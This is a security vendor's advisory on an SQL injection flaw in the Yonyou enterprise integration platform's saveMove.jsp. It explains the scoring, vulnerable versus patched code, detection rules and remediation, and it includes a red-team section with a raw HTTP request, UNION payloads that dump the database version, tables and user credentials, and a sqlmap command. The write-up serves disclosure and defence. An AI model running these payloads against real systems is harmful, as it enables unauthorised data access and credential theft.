CVE-2024-24256

Executive Summary

CVE-2024-24256 is a critical SQL Injection vulnerability discovered in the Yonyou space-time enterprise information integration platform, affecting version 9.0 and all prior releases. The flaw resides in the gwbhAIM parameter within the saveMove.jsp file located in the hr_position directory. An unauthenticated attacker can exploit this vulnerability to inject arbitrary SQL commands, leading to unauthorized access to sensitive data stored in the backend database. The vulnerability has a CVSS base score of 7.5 (High) due to its network exploitability, low attack complexity, and high confidentiality impact. No authentication is required, and no user interaction is needed. The EPSS score is 0.0%, indicating low exploitation likelihood at the time of analysis, but the lack of a vendor patch makes it a persistent risk. No public exploit code or Nuclei template is available, but the vulnerability details are sufficient for manual exploitation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full database read access possible.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability allows unauthenticated remote attackers to extract sensitive information from the database, including user credentials, business data, and configuration details. The absence of a vendor patch increases the risk for organizations using this platform.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the saveMove.jsp endpoint. The gwbhAIM parameter is directly concatenated into a SQL query without proper sanitization or parameterized statements. The vulnerable code likely resembles:

String gwbhAIM = request.getParameter("gwbhAIM");
String query = "SELECT * FROM hr_position WHERE gwbh = '" + gwbhAIM + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

An attacker can inject SQL commands by providing a malicious value for gwbhAIM, such as:

' OR '1'='1' --

This would modify the query to:

SELECT * FROM hr_position WHERE gwbh = '' OR '1'='1' --'

The -- comments out the rest of the query, causing the database to return all rows from the hr_position table. More sophisticated payloads can be used to extract data from other tables, enumerate database schema, or execute system commands if the database server has sufficient privileges.

The vulnerability is in the hr_position directory, suggesting it is part of the human resources module. The saveMove.jsp file likely handles position transfers or updates, making the gwbhAIM parameter a position identifier.

Vulnerable vs. Patched Code

Vulnerable Code (Java/JSP):

String gwbhAIM = request.getParameter("gwbhAIM");
String query = "SELECT * FROM hr_position WHERE gwbh = '" + gwbhAIM + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

Patched Code (Using PreparedStatement):

String gwbhAIM = request.getParameter("gwbhAIM");
String query = "SELECT * FROM hr_position WHERE gwbh = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, gwbhAIM);
ResultSet rs = pstmt.executeQuery();

The patched version uses parameterized queries, which prevent SQL injection by treating user input as data, not executable code. Additionally, input validation (e.g., whitelisting allowed characters) and output encoding should be implemented as defense-in-depth.

Exploitation & Lab Setup

Red Team (Offensive)

Manual Exploitation:

1. Identify the vulnerable endpoint: http://target.com/hr_position/saveMove.jsp
2. Craft a malicious request:

POST /hr_position/saveMove.jsp HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

gwbhAIM=' OR '1'='1' --

3. Extract database version:

gwbhAIM=' UNION SELECT @@version, NULL, NULL --

4. Enumerate tables:

gwbhAIM=' UNION SELECT table_name, NULL, NULL FROM information_schema.tables --

5. Dump user credentials:

gwbhAIM=' UNION SELECT username, password, NULL FROM users --

Automated Exploitation with sqlmap:

sqlmap -u "http://target.com/hr_position/saveMove.jsp" --data="gwbhAIM=1" --batch --dbs

Blue Team (Defensive)

Detection Steps:

1. Monitor HTTP requests to /hr_position/saveMove.jsp for unusual parameters.
2. Look for SQL keywords in the gwbhAIM parameter (e.g., UNION, SELECT, OR, --).
3. Enable database query logging to detect anomalous queries.
4. Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
5. Conduct code review to identify and fix similar injection points.

Lab Setup:

• Target: Deploy Yonyou space-time enterprise information integration platform v9.0 on a VM.
• Attacker: Kali Linux with Burp Suite and sqlmap.
• Network: Isolated lab network with NAT for internet access.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /hr_position/saveMove.jsp with gwbhAIM parameter containing SQL keywords.
  • Outbound database connections from the web server to unusual IPs.
  • Anomalous database queries with UNION, OR, --, or ' characters.

• File IOCs:

  • Modified saveMove.jsp file (if attacker uploads a webshell).
  • Suspicious files in the hr_position directory.

• Log IOCs:

  • Web server logs showing repeated requests to saveMove.jsp with varying gwbhAIM values.
  • Database logs showing queries with syntax errors or unexpected results.

Detection Engineering

YARA Rule

rule CVE_2024_24256_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-24256 in Yonyou platform"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-24256"
    strings:
        $sqli1 = /gwbhAIM=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|EXEC|xp_cmdshell|--|#)/
        $sqli2 = /gwbhAIM=.*\b(OR|AND)\b.*=/
        $sqli3 = /gwbhAIM=.*\bUNION\b.*\bSELECT\b/
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against Yonyou saveMove.jsp
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-24256 via gwbhAIM parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-stem: '/hr_position/saveMove.jsp'
        cs-uri-query|contains: 'gwbhAIM='
    keywords:
        - ' OR '
        - ' AND '
        - ' UNION '
        - ' SELECT '
        - ' -- '
        - ' # '
        - "'"
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in position codes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24256 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/hr_position/saveMove.jsp"; http_uri; content:"gwbhAIM="; http_client_body; pcre:"/gwbhAIM=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|EXEC|xp_cmdshell|--|#)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply input validation: Restrict the gwbhAIM parameter to alphanumeric characters only (e.g., ^[a-zA-Z0-9_]+$).
2. Use parameterized queries: Replace all dynamic SQL with prepared statements.
3. Deploy a WAF: Block SQL injection patterns at the network edge.
4. Disable the endpoint: If not critical, remove or disable saveMove.jsp.

Long-term Fix:

• Vendor patch: Contact Yonyou for an official patch. Since none is available, consider migrating to a supported version or alternative platform.
• Code audit: Perform a full security review of all JSP files for similar injection flaws.
• Database hardening: Apply least privilege to the database user used by the application.

Workaround:

• Rewrite the endpoint: Replace the vulnerable JSP with a secure implementation using prepared statements.

Valters IT
Securing Digital Frontiers